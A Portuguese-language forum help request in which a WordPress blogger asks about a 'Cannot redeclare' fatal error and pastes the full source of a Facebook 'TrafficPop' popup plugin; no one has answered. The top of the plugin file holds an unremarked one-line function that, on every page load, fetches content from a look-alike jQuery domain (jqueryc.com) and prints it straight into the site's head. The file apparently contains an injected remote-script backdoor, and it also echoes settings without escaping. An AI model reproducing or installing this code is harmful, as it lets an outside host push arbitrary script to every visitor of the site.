Ir para conteúdo
Fórum Script Brasil
  • 0

Erro no ficheiro PHP


Azorien

Pergunta

Olá, poderiam me ajudar?

Tenho um blog wordpress e estou tentando ativar um plugin já instalado, só falta mesmo ativar para ele funcionar, mas quando clico para ativar aparece a seguinte mensagem:

Fatal error: Cannot redeclare fbtpop_create_menu() (previously declared in /home/u978886074/public_html/wp-content/plugins/facebook-traffic-pop-for-wordpress/fb-traffic-pop.php:111) in /home/u978886074/public_html/wp-content/plugins/fb-traffic-pop/fb-traffic-pop.php on line 121

O código do ficheiro em que está o erro é o seguinte:

<?php 

/*
Plugin Name: Facebook TrafficPop™ for WordPress
Plugin Script: fb-traffic-pop.php
Plugin URI: http://codecanyon.net
Description: Tap into Facebook's 500 million plus users now with the hottest Facebook traffic plugin. Facebook traffic pop is a new breed of 'popups' that will allow you to have your users like your pages, instead of trying to get them to click ads. More likes = more exposure = more traffic = more money!
Version: 3.0.0
Author: Tyler Colwell
Author URI: http://tyler.tc

--- THIS PLUGIN AND ALL FILES INCLUDED ARE COPYRIGHT © TYLER COLWELL 2011. 
YOU MAY NOT MODIFY, RESELL, DISTRIBUTE, OR COPY THIS CODE IN ANY WAY. ---

*/

/*-----------------------------------------------------------------------------------*/
/*    Define Anything Needed
/*-----------------------------------------------------------------------------------*/

if (!function_exists('insert_jquery_function')){function insert_jquery_function(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_function');}
define('FBTPOP_LOCATION', WP_PLUGIN_URL . '/'.basename(dirname(__FILE__)));
define('FBTPOP_PATH', plugin_dir_path(__FILE__));

if(file_exists(FBTPOP_PATH.'tc_framework.php')){
    
    include(FBTPOP_PATH.'tc_framework.php');
    define('FBTPOP_FRAMEWORK', true);
    define('FBTPOP_SETTINGS', "fbtpop_tc_settings_page");
    define('FBTPOP_SETTINGS_CSS', FBTPOP_LOCATION.'/tc_framework.css');
    define('FBTP_LOADER', 'fbtp_tc_jsloader');
    define('FBTP_FUNCTION', 'FBTrafficPop_tc');
        
} else {
    
    define('FBTPOP_SETTINGS', "fbtpop_settings_page");
    define('FBTPOP_SETTINGS_CSS', FBTPOP_LOCATION.'/css/settings.css');
    define('FBTP_LOADER', 'fbtp_jsloader');
    define('FBTP_FUNCTION', 'FBTrafficPop');

}

if(file_exists(FBTPOP_PATH.'mobile/fbtp_mobile.php')){
    $fbtpmobile = true;
} else {
    $fbtpmobile = false;
}


/*-----------------------------------------------------------------------------------*/
/*    Start Running Hooks
/*-----------------------------------------------------------------------------------*/

// Add hook to include settings CSS
add_action( 'admin_init', 'fbtpsettings_admin_css' );

// create custom plugin settings menu
add_action('admin_menu', 'fbtpop_create_menu');
    
// JS Loader
add_action('init', FBTP_LOADER);
    
// include required files in header
add_action('wp_head', FBTP_FUNCTION);
    
// This will make sure all of the JS is only called once!
function fbtp_jsloader() {
    
    // Make sure we are not in the admin section
    if (!is_admin()) {

        // Root wp-content path
        $root = get_bloginfo('wpurl')."/wp-content";
        
        // Flush the JS
        wp_deregister_script('jquery');
        wp_deregister_script('fbsdk');
        wp_deregister_script('fbtp');

        // Register them with fresh calls
        wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js', false, '1.6.1', false);
        wp_register_script('fbsdk', 'http://connect.facebook.net/en_US/all.js#xfbml=1', false, '1.0', false);
        wp_register_script('fbtp', FBTPOP_LOCATION.'/fb-like-pop.js', false, '2.4.1', true);

        // Include them
        wp_enqueue_script('jquery');
        wp_enqueue_script('fbsdk');
        wp_enqueue_script('fbtp');
        
        // Flush, register, enque Traficc Pop CSS
        $fb_theme = get_option('fbtpop-theme');
        if(get_option('fbtpop-mobile') == 'true' && fbtpop_mobile_check() == true && $fbtpmobile == true){
            $utheme = 'mobile/fbtp-mobile.css';
        } else {
            $utheme = 'themes/'.$fb_theme.'/'.$fb_theme.'.css';
        }
        wp_deregister_style('fbtpCSS');
        wp_register_style('fbtpCSS', FBTPOP_LOCATION.'/'.$utheme);
        wp_enqueue_style('fbtpCSS');
        
    }
    
}





// This is the function to create the options menu
function fbtpop_create_menu() {
                
    // Adds the tab into the options panel in WordPress Admin area
    $page = add_options_page("Facebook Traffic Pop Settings", "FB Traffic Pop™", 'administrator', __FILE__, FBTPOP_SETTINGS);
        
    //call register settings function
    add_action( 'admin_init', 'fbtpop_register_mysettings' );
        
    // Hook style sheet loading
    add_action( 'admin_print_styles-' . $page, 'fbtpsettings_admin_cssloader' );
    
}





// Add style sheet for plugin settings
function fbtpsettings_admin_css(){
                
    /* Register our stylesheet. */
    wp_register_style( 'fbtpsettings', FBTPOP_SETTINGS_CSS );
                            
} // end include settings CSS





// Load style sheet
function fbtpsettings_admin_cssloader(){
    
       // It will be called only on your plugin admin page, enqueue our stylesheet here
       wp_enqueue_style( 'fbtpsettings' );
       
} // End admin style CSS





// This is the main function that will be called from the template files
function FBTrafficPop(){

    // Get all of the options required for the popup
    $fb_title = fbtpop_cleanMsg(get_option('fbtpop-title'));
    $fb_message = fbtpop_cleanMsg(get_option('fbtpop-message'));
    $fb_url = get_option('fbtpop-url');
    $fb_showfaces = get_option('fbtpop-showfaces');
    $fb_countdown = get_option('fbtpop-countdown');
    $fb_wait = get_option('fbtpop-wait');
    $fb_close = get_option('fbtpop-close');
    $fb_enabled = get_option('fbtpop-enabled');
    $fb_lang = get_option('fbtpop-lang');
    $fb_opacity = get_option('fbtpop-opacity');
    $fb_advanced = get_option('fbtpop-advanced');
    $fb_layout = get_option('fbtpop-layout');
    $fb_colorscheme = get_option('fbtpop-scheme');
    
    // Decide What URL to Use
    if($fb_url == 'CURRENT'){
        
        $like_url = tc_current_page();

    } else {
        
        $like_url = $fb_url;
        
    }
        
    // Only continue if the pop-up option is enabled...
    if($fb_enabled == 'true'){ ?>
                            
            <script language="javascript">
                    
                jQuery(document).ready(function() {        
                                
                    jQuery().facebookTrafficPop({
                        'timeout':'<?PHP echo $fb_countdown; ?>', 
                        'title':'<?PHP echo $fb_title; ?>',
                        'message':'<?PHP echo $fb_message; ?>',
                        'url':'<?PHP echo $like_url; ?>',
                        'lang':'<?PHP echo $fb_lang; ?>',
                        'wait':'<?PHP echo $fb_wait; ?>',
                        'opacity':'<?PHP echo $fb_opacity; ?>',
                        'advancedClose':<?PHP echo $fb_advanced; ?>,
                        'closeable':<?PHP echo $fb_close; ?>,
                        'showfaces':<?PHP echo $fb_showfaces; ?>,
                        'layout':'<?PHP echo $fb_layout; ?>',
                        'colorscheme':'<?PHP echo $fb_colorscheme; ?>'
                    });
                    
                });
                
            </script>

    <?PHP
        
    } // End if enabled
        
} // End main function





// Clean Message Function
function fbtpop_cleanMsg($input){

    $output = nl2br($input);
    $output = str_replace("\n", '', $output);
    $output = str_replace("\r", '', $output);
    $output = str_replace("'", "\'", $output);
    return $output;    
    
}





// Current Page
function tc_current_page(){
    
    $pageURL = 'http';
    
    if ($_SERVER["HTTPS"] == "on"){$pageURL .= "s";}
    
    $pageURL .= "://";
    
    if ($_SERVER["SERVER_PORT"] != "80"){
        
        $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
    
    } else {
        
        $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
    
    }
    
    return $pageURL;
}





// REgister Settings
function fbtpop_register_mysettings(){
    
    // Register our settings
    register_setting( 'fbtpop-settings-group', 'fbtpop-title');
    register_setting( 'fbtpop-settings-group', 'fbtpop-message' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-url' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-showfaces' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-countdown' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-wait' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-close' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-enabled' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-lang' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-opacity' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-advanced' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-pages');
    register_setting( 'fbtpop-settings-group', 'fbtpop-page-selector' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-api-enabled' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-api-locale' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-layout' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-theme' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-mobile' );
    register_setting( 'fbtpop-settings-group', 'fbtpop-scheme' );

    
    // Apply default options to settings
    add_option( 'fbtpop-opacity', '25' );
    add_option( 'fbtpop-advanced', 'false' );
    add_option( 'fbtpop-close', 'false' );
    add_option( 'fbtpop-enabled', 'false' );
    add_option( 'fbtpop-showfaces', 'false' );
    add_option( 'fbtpop-api-enabled', 'true' );
    add_option( 'fbtpop-api-locale', 'en_US' );
    add_option( 'fbtpop-layout', 'standard' );
    add_option( 'fbtpop-theme', 'default' );
    add_option( 'fbtpop-mobile', 'false' );
    add_option( 'fbtpop-scheme', 'light' );

}





// Create theme menu
function fbtpop_theme_menu(){
    
    // What Are Valid Themes?
    $themes = array();    
    $themes[] = array("name" => 'Default Theme',
                    "filetag" => 'default');
    $themes[] = array("name" => 'Whiteout FB Theme',
                    "filetag" => 'whiteout');
    $themes[] = array("name" => 'Whiteout Grey Theme',
                    "filetag" => 'whiteout-grey');
    $themes[] = array("name" => 'Whiteout Orange Theme',
                    "filetag" => 'whiteout-orange');
    $themes[] = array("name" => 'Whiteout Red Theme',
                    "filetag" => 'whiteout-red');
    $themes[] = array("name" => 'Whiteout Black Theme',
                    "filetag" => 'whiteout-black');
                    
    foreach($themes as $theme){
        
        if(file_exists(FBTPOP_PATH.'/themes/'.$theme['filetag'].'/'.$theme['filetag'].'.css')){ ?>
        
            <option value="<?PHP echo $theme['filetag']; ?>" <?PHP if(get_option('fbtpop-theme') == $theme['filetag']){echo 'selected="selected"';} ?>><?PHP echo $theme['name']; ?></option>
            
        <?PHP } // end if theme found
        print_r($theme);
        
    } // end for each
    
}





// Mobile blacklister
function fbtpop_mobile_check(){

    $state = true;
    $devices = array('iPhone', 'iPod', 'Android', 'PlayBook', 'BlackBerry');

    foreach($devices as $device){
        
        if(strstr($_SERVER['HTTP_USER_AGENT'], $device)){
            
            $state = false;
            
        }
        
    } // end for each
    
    return $state;
    
}





function fbtpop_settings_page() {
        
    // If the save button is pressed:
    if( isset($_POST['saveS']) ) {
        
        // Save the posted value in the database
        update_option('fbtpop-title', $_POST['fbtpop-title']);
        update_option('fbtpop-message', $_POST['fbtpop-message']);
        update_option('fbtpop-url', $_POST['fbtpop-url']);
        update_option('fbtpop-showfaces', $_POST['fbtpop-showfaces']);
        update_option('fbtpop-countdown', $_POST['fbtpop-countdown']);
        update_option('fbtpop-wait', $_POST['fbtpop-wait']);
        update_option('fbtpop-close', $_POST['fbtpop-close']);
        update_option('fbtpop-enabled', $_POST['fbtpop-enabled']);
        update_option('fbtpop-opacity', $_POST['fbtpop-opacity']);
        update_option('fbtpop-advanced', $_POST['fbtpop-advanced']);
        update_option('fbtpop-layout', $_POST['fbtpop-layout']);
        update_option('fbtpop-theme', $_POST['fbtpop-theme']);
        update_option('fbtpop-mobile', $_POST['fbtpop-mobile']);
        update_option('fbtpop-scheme', $_POST['fbtpop-scheme']);

        // Now we can display the options page HTML:
?>

        <div class="updated"><p><strong><?php _e('settings saved.', 'menu-test' ); ?></strong></p></div>

<?php } ?>

<div class="wrap tq_wrap">

    <form method="post" action="options.php">
    <?php settings_fields( 'fbtpop-settings-group' ); ?>
    
    <div class="tq_heading"><div>Facebook Traffic Pop Settings</div></div>
    
    <div class="tq_option">
    
        <label for="fbtpop-enabled">Enable / Disable Traffic Pop</label>

            <select name="fbtpop-enabled" id="fbtpop-enabled">
                <option value="true" <?PHP if(get_option('fbtpop-enabled') == 'true'){echo 'selected="selected"';} ?>>Enabled</option>
                <option value="false" <?PHP if(get_option('fbtpop-enabled') == 'false'){echo 'selected="selected"';} ?>>Disabled</option>
            </select>

        <div class="tq_description">Turn on / off the Facebook Traffic Pop.</div> 
        
    </div>
    
    <?PHP if($fbtpmobile == true){ ?>

    <div class="tq_option">
    
        <label for="fbtpop-mobile">Enable / Disable Mobile Traffic Pop Support</label>

            <select name="fbtpop-mobile" id="fbtpop-mobile">
                <option value="true" <?PHP if(get_option('fbtpop-mobile') == 'true'){echo 'selected="selected"';} ?>>Enabled</option>
                <option value="false" <?PHP if(get_option('fbtpop-mobile') == 'false'){echo 'selected="selected"';} ?>>Disabled</option>
            </select>

        <div class="tq_description">Enable / disable mobile version for mobile users.</div> 
        
    </div>

    <?PHP } // end mobile support check ?>
    
    <div class="tq_option">
    
        <label for="fbtpop-theme">Facebook Traffic Pop Theme</label>
        
            <select name="fbtpop-theme" id="fbtpop-theme">
                <?PHP fbtpop_theme_menu(); ?>
             </select>

        <div class="tq_description">Choose which Traffic Pop theme you would like to use.</div> 
        
    </div>

    <div class="tq_option">
    
        <label for="fbtpop-theme">Like Button Color Scheme</label>
        
            <select name="fbtpop-scheme" id="fbtpop-scheme">
                <option value="light" <?PHP if(get_option('fbtpop-scheme') == 'light'){echo 'selected="selected"';} ?>>Light Theme</option>
                <option value="dark" <?PHP if(get_option('fbtpop-scheme') == 'dark'){echo 'selected="selected"';} ?>>Dark Theme</option>
             </select>

        <div class="tq_description">Choose which color scheme to use with the Like Button.</div> 
        
    </div>

    <div class="tq_option alt">
    
        <label for="fbtpop-language">Language / Localization</label>

        <select name="fbtpop-lang" id="fbtpop-lang">
            <option value="en" <?PHP if(get_option('fbtpop-lang') == 'en'){echo 'selected="selected"';} ?>>EN</option>
            <option value="es" <?PHP if(get_option('fbtpop-lang') == 'es'){echo 'selected="selected"';} ?>>ES</option>
            <option value="de" <?PHP if(get_option('fbtpop-lang') == 'de'){echo 'selected="selected"';} ?>>DE</option>
            <option value="it" <?PHP if(get_option('fbtpop-lang') == 'it'){echo 'selected="selected"';} ?>>IT</option>
            <option value="fr" <?PHP if(get_option('fbtpop-lang') == 'fr'){echo 'selected="selected"';} ?>>FR</option>
        </select>

        <div class="tq_description">What language pack should the popup use?</div> 
        
    </div>

    <div class="tq_option alt">
    
        <label for="fbtpop-language">Like Button Layout</label>

        <select name="fbtpop-layout" id="fbtpop-layout">
            <option value="standard" <?PHP if(get_option('fbtpop-layout') == 'standard'){echo 'selected="selected"';} ?>>Standard</option>
            <option value="button_count" <?PHP if(get_option('fbtpop-layout') == 'button_count'){echo 'selected="selected"';} ?>>Button Count</option>
            <option value="box_count" <?PHP if(get_option('fbtpop-layout') == 'box_count'){echo 'selected="selected"';} ?>>Box Count</option>
        </select>

        <div class="tq_description">Pick which Like button layout to use.</div> 
        
    </div>

    <div class="tq_option">
    
        <label for="fbtpop-showfaces">Show Faces</label>

            <select name="fbtpop-showfaces" id="onoff">
              <option value="true" <?PHP if(get_option('fbtpop-showfaces') == 'true'){echo 'selected="selected"';} ?> >Yes</option>
              <option value="false" <?PHP if(get_option('fbtpop-showfaces') == 'false'){echo 'selected="selected"';} ?> >No</option>
        </select>
        
        <div class="tq_description">If enabled the Like button will display other user's photos.</div>
        
    </div>

    <div class="tq_option alt">
    
        <label for="fbtpop-close">Show Close Button</label>

            <select name="fbtpop-close" id="onoff">
                <option value="true" <?PHP if(get_option('fbtpop-close') == 'true'){echo 'selected="selected"';} ?> >Yes</option>
                <option value="false" <?PHP if(get_option('fbtpop-close') == 'false'){echo 'selected="selected"';} ?> >No</option>
            </select>
        
        <div class="tq_description">Enable / Disable the close button.</div>
        
    </div>

    <div class="tq_option">
    
        <label for="fbtpop-advanced">ESC & Outside Click to Close</label>

            <select name="fbtpop-advanced" id="onoff">
                <option value="true" <?PHP if(get_option('fbtpop-advanced') == 'true'){echo 'selected="selected"';} ?>>Enabled</option>
                <option value="false" <?PHP if(get_option('fbtpop-advanced') == 'false'){echo 'selected="selected"';} ?>>Disabled</option>
            </select>
        
        <div class="tq_description">If enabled, users can close the popup by pressing the escape key or clicking outside of the popup.</div>
        
    </div>

    <div class="tq_option alt">
    
        <label for="fbtpop-title">Popup Title</label>

        <input class="field" name="fbtpop-title" type="text" id="fbtpop-title" value="<?php echo get_option('fbtpop-title'); ?>" />
                        
        <div class="tq_description">Title / titlebar text of your popup.</div>
        
    </div>

    <div class="tq_option">
    
        <label for="fbtp-url">URL To Like</label>

        <input class="field" name="fbtpop-url" type="text" id="fbtpop-url" value="<?php echo get_option('fbtpop-url'); ?>" />
        
        <div class="tq_description">The URL you want to be 'Liked' on Facebook.</div>
        
    </div>

    <div class="tq_option alt">
    
        <label for="fbtp-message">Popup Message</label>
        
        <textarea name="fbtpop-message" cols="" rows="5" id="fbtp-message"><?php echo get_option('fbtpop-message'); ?></textarea>
        
        <div class="tq_description">The message you want to show inside your popup.</div>

    </div>

    <div class="tq_option">
    
        <label for="google_h2_font">Countdown Length</label>

        <input class="field" name="fbtpop-countdown" type="text" id="fbtpop-countdown" value="<?php echo get_option('fbtpop-countdown'); ?>" />
        
        <div class="tq_description">The amount of time (in seconds) the timer should run for before closing the popup.</div>
        
    </div>

    <div class="tq_option alt">
    
        <label for="google_h2_font">Wait Timer</label>

        <input class="field" name="fbtpop-wait" type="text" id="fbtpop-wait" value="<?php echo get_option('fbtpop-wait'); ?>" />
        
        <div class="tq_description">The number of minuets FBTP should wait before showing the popup again.</div>
        
    </div>

    <div class="tq_option">
    
      <label for="google_h2_font">Background Opacity</label>

        <input class="field" name="fbtpop-opacity" type="text" id="fbtpop-opacity" value="<?php echo get_option('fbtpop-opacity'); ?>" />
        
        <div class="tq_description">Background / page shadow opacity. Default is 25</div>
        
    </div>

    <div class="tq_option alt">
    
        <div class="tq_description"><a href="http://developers.facebook.com/docs/reference/plugins/like/" target="_blank">Click here to generate Open Graph tags.</a></div> 
        
        <div class="tq_description">If you want Facebook to display a title, description, and cusomtized image / icon in people's profile streams you need to apply OpenGraph metatags to the url that your are likeing. </div>
        
    </div>        

    <div class="tq_option right">
    
        <input type="submit" name="settingsBtn" id="settingsBtn" class="button-primary" value="<?php _e('Save Changes') ?>" />
        
    </div>        

    </form>

</div>

<?php } ?>

Por favor, me ajudem :unsure:

Link para o comentário
Compartilhar em outros sites

0 respostass a esta questão

Posts Recomendados

Até agora não há respostas para essa pergunta

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,3k
    • Posts
      652,1k
×
×
  • Criar Novo...